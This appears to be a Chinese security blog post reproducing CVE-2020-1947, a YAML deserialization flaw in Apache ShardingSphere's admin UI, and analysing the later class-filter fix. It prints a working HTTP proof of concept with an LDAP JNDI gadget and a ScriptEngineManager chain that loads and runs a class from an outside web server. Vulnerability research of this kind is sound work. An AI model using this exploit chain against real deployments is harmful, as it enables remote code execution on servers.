CVE-2020-1947 Sharding-UI的反序列化复现及分析

2019/04/10 10:10
阅读数 63

CVE-2020-1947 复现及分析

0x01 影响

Apache ShardingSphere < =4.0.0

0x02 环境搭建

incubator-shardingsphere 的ui界面为前后分离,所以搭建环境所需要的工具如下

前端后端没有启动的先后顺序,任意顺序即可。

首先将shardingsphere-ui-frontend 拖入idea,idea会自动通过pom的依赖构建项目,稍等片刻,在org.apache.shardingsphere.ui.Bootstrap类运行main函数即可。

前端环境需要nodejs构建,步骤如下

  1. 进入sharding-ui-frontend/目录;
  2. 执行npm install
  3. 执行npm run dev
  4. 访问http://localhost:8080/

现在就可以访问后台了,用户名与密码皆为admin。为了触发漏洞,需要在后台配置zookeeper。如图

0x03 POC

登录后台后,发送如下poc

POST /api/schema HTTP/1.1
Host: localhost:8089
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Access-Token: 替换为自己的
Content-Length: 579

{"name":"CVE-2020-1947","ruleConfiguration":"  encryptors:\n    encryptor_aes:\n      type: aes\n      props:\n        aes.key.value: 123456abc\n    encryptor_md5:\n      type: md5\n  tables:\n    t_encrypt:\n      columns:\n        user_id:\n          plainColumn: user_plain\n          cipherColumn: user_cipher\n          encryptor: encryptor_aes\n        order_id:\n          cipherColumn: order_cipher\n          encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n  dataSourceName: ldap://127.0.0.1:1389/CommandObject\n  autoCommit: true"}

0x04 分析

可以根据poc,可以很明显的发现是shakeyaml引起的反序列化问题。首先找到处理/api/scheme的controller。在org.apache.shardingsphere.ui.web.controller.ShardingSchemaController处。addSchema会处理post请求

    /**
     * Add schema configuration.
     *
     * @param shardingSchema sharding schema DTO.
     * @return response result
     */
    @RequestMapping(value = "", method = RequestMethod.POST)
    public ResponseResult addSchema(final @RequestBody ShardingSchemaDTO shardingSchema) {
        shardingSchemaService.addSchemaConfiguration(shardingSchema.getName(), shardingSchema.getRuleConfiguration(), shardingSchema.getDataSourceConfiguration());
        return ResponseResultUtil.success();
    }

跟入shardingSchemaService.addSchemaConfiguration函数。

    @Override
    public void addSchemaConfiguration(final String schemaName, final String ruleConfiguration, final String dataSourceConfiguration) {
        checkSchemaName(schemaName, getAllSchemaNames());
        checkRuleConfiguration(ruleConfiguration);
      checkDataSourceConfiguration(dataSourceConfiguration);
//... 省略不相关代码
    }

addSchemaConfiguration中的checkDataSourceConfiguration函数会处理dataSourceConfiguration。继续跟入

    private void checkDataSourceConfiguration(final String configData) {
            Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData);
           //... 省略不相关代码
    }

checkDataSourceConfiguration中会调用ConfigurationYamlConvert.LoadDataSourceConfigurations去解析datasource。

    /**
     * Load data source configurations.
     *
     * @param data data
     * @return data source configurations
     */
    @SuppressWarnings("unchecked")
    public static Map<String, DataSourceConfiguration> loadDataSourceConfigurations(final String data) {
        Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data);
//... 省略不相关代码
    }

loadDataSourceConfigurations中会调用YamlEngine.unmarshal去处理数据,下图为unmarshal函数的代码。可以很明显的看出,unmarshal函数存在反序列化漏洞。yaml的load可以加载任意类,造成反序列化漏洞

/**
 * Unmarshal YAML.
 *
 * @param yamlContent YAML content
 * @return map from YAML
 */
public static Map<?, ?> unmarshal(final String yamlContent) {
    return Strings.isNullOrEmpty(yamlContent) ? new LinkedHashMap<>() : (Map) new Yaml().load(yamlContent);
}

不难看出,搭建复现环境时,不一定需要他的web环境去触发漏洞,我们可以直接调用相关函数去模拟加载loadDataSourceConfigurations函数。代码如下

package org.apache.shardingsphere.ui;

import org.apache.shardingsphere.core.config.DataSourceConfiguration;
import org.apache.shardingsphere.ui.util.ConfigurationYamlConverter;

import java.util.Map;

public class test {
    public static void main(String... args){
        String configData = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:9999\"]]]]";
        Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData);
    }
}

0x05 poc 构造 基于ScriptEngineManager利用链

构造exp可以使用unmarshalsec 工具,请自行搜索

本次利用是基于javax.script.ScriptEngineManager的利用链。

简单地说,ScriptEngineManager类用于Java和JavaScript之间的调用。

PoC.java,需要实现ScriptEngineManager接口类,其中的静态代码块用于执行恶意代码,将其编译成PoC.class然后放置于第三方Web服务中:

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.util.List;
import java.io.IOException;
import java.util.Map;


public class PoC implements ScriptEngineFactory {
    static {
        try {
            System.out.println("Hacked by UnicodeSec");
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
    
    public String getEngineName() {
        return null;
    }
    
    public String getEngineVersion() {
        return null;
    }
    
    public List<String> getExtensions() {
        return null;
    }
    
    public List<String> getMimeTypes() {
        return null;
    }
    
    public List<String> getNames() {
        return null;
    }
    
    public String getLanguageName() {
        return null;
    }
    
    public String getLanguageVersion() {
        return null;
    }
    
    public Object getParameter(String key) {
        return null;
    }
    
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    public String getOutputStatement(String toDisplay) {
        return null;
    }
    
    public String getProgram(String... statements) {
        return null;
    }
    
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

另外,在已放置PoC.class的第三方Web服务中,在当前目录新建如下文件META-INF\services\javax.script.ScriptEngineFactory,其中内容为指定被执行的类名PoC

即可触发漏洞

0x06 修复分析

在4.0.1中新增了classfilter的构造方法,只允许反序列化YamlDataSourceConfiguration类。

LoadDataSouceConfigurations函数设置只允许反序列化相关类, ClassFilterConstructor 代码如下

public final class ClassFilterConstructor extends Constructor {
    
    private final Collection<Class<?>> acceptClasses;
    
    @Override
    protected Class<?> getClassForName(final String name) throws ClassNotFoundException {
        for (Class<? extends Object> each : acceptClasses) {
            if (name.equals(each.getName())) {
                return super.getClassForName(name);
            }
        }
        throw new IllegalArgumentException(String.format("Class is not accepted: %s", name));
    }
}

LoadDatasourceConfigurations函数中设置classfilter

Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data, Collections.<Class<?>>singletonList(YamlDataSourceConfiguration.class));

0x06 参考

  1. https://bitbucket.org/asomov/snakeyaml/wiki/Documentation#markdown-header-type-safe-collections
  2. https://www.javadoc.io/doc/org.yaml/snakeyaml/1.19/org/yaml/snakeyaml/constructor/Constructor.html
  3. https://shardingsphere.apache.org/document/current/cn/manual/sharding-ui/
  4. https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x02-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E

原文出处:https://www.cnblogs.com/potatsoSec/p/12461330.html

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